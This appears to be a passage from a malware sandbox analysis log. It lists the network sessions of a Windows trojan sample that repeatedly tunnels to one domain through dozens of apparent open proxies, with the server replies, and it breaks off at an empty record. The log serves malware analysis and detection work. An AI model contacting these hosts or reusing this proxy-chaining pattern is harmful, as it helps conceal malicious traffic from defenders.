Feb 23, 2024 14:28:37.791393995 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.8	54368	168.195.203.106	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.611967087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.179332972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.440830946 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.8	54370	20.111.54.16	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.654664040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.825519085 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.8	54387	23.152.40.15	5050	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.669990063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.8	54382	94.30.152.172	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.670082092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.8	49809	165.16.27.109	1981	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.670902014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.8	54359	115.244.127.164	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.677508116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.8	54366	1.15.62.12	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.677964926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.8	54403	104.27.15.161	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.678184032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.766330004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.8	54372	43.251.132.133	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.679521084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.8	54383	47.243.114.192	8180	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.715747118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.025337934 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.8	54375	122.3.41.154	8090	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.715909004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.341285944 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.8	54381	171.254.218.182	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.715979099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.8	54228	85.172.60.202	1181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.716734886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1505	192.168.2.8	54388	47.74.226.8	5001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.717506886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.8	49893	103.197.71.7	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.731384993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882422924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.882829905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.991753101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.8	49951	92.204.135.37	22942	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.731384993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882359982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.882853031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.8	54345	139.255.45.67	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.731642008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.8	54392	43.133.136.208	8800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.750808954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.8	54391	36.64.238.82	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.756467104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.491928101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.8	49996	212.110.188.202	34409	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.774657011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882514954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.882843971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.991781950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.8	54413	24.249.199.4	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.774658918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.8	54441	159.65.77.168	8585	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.783055067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.8	53446	45.230.49.2	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.799386978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882503986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.429508924 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.8	54433	51.75.125.208	33356	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.799782991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.8	53378	188.132.221.169	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.808516979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882518053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.075982094 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.8	54421	63.250.52.82	8118	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.833112955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.092897892 CET	207	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.8	50243	92.204.134.38	59727	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.863132954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882571936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.8	54417	221.151.181.101	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.868076086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.694721937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.679492950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.491930008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.992166996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.491910934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.960505009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:58.897831917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:12.899585962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.8	54427	109.194.22.61	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.879060984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.8	54445	45.179.231.210	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.908072948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.8	54416	58.246.58.150	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.909121037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.235666037 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1523	192.168.2.8	54311	178.128.200.87	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.913125038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.991789103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.992583990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.991878033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:01.991744041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:14.085391998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:26.085330963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.8	54424	196.15.237.197	1888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.932388067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.8	54458	184.185.2.12	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.933731079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.8	50239	91.247.92.63	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.941343069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.8	54468	3.75.236.58	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.955451965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.134371996 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.8	54443	27.65.240.157	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.957911015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1529	192.168.2.8	54467	187.19.127.253	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.965703011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.8	50213	193.253.220.32	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
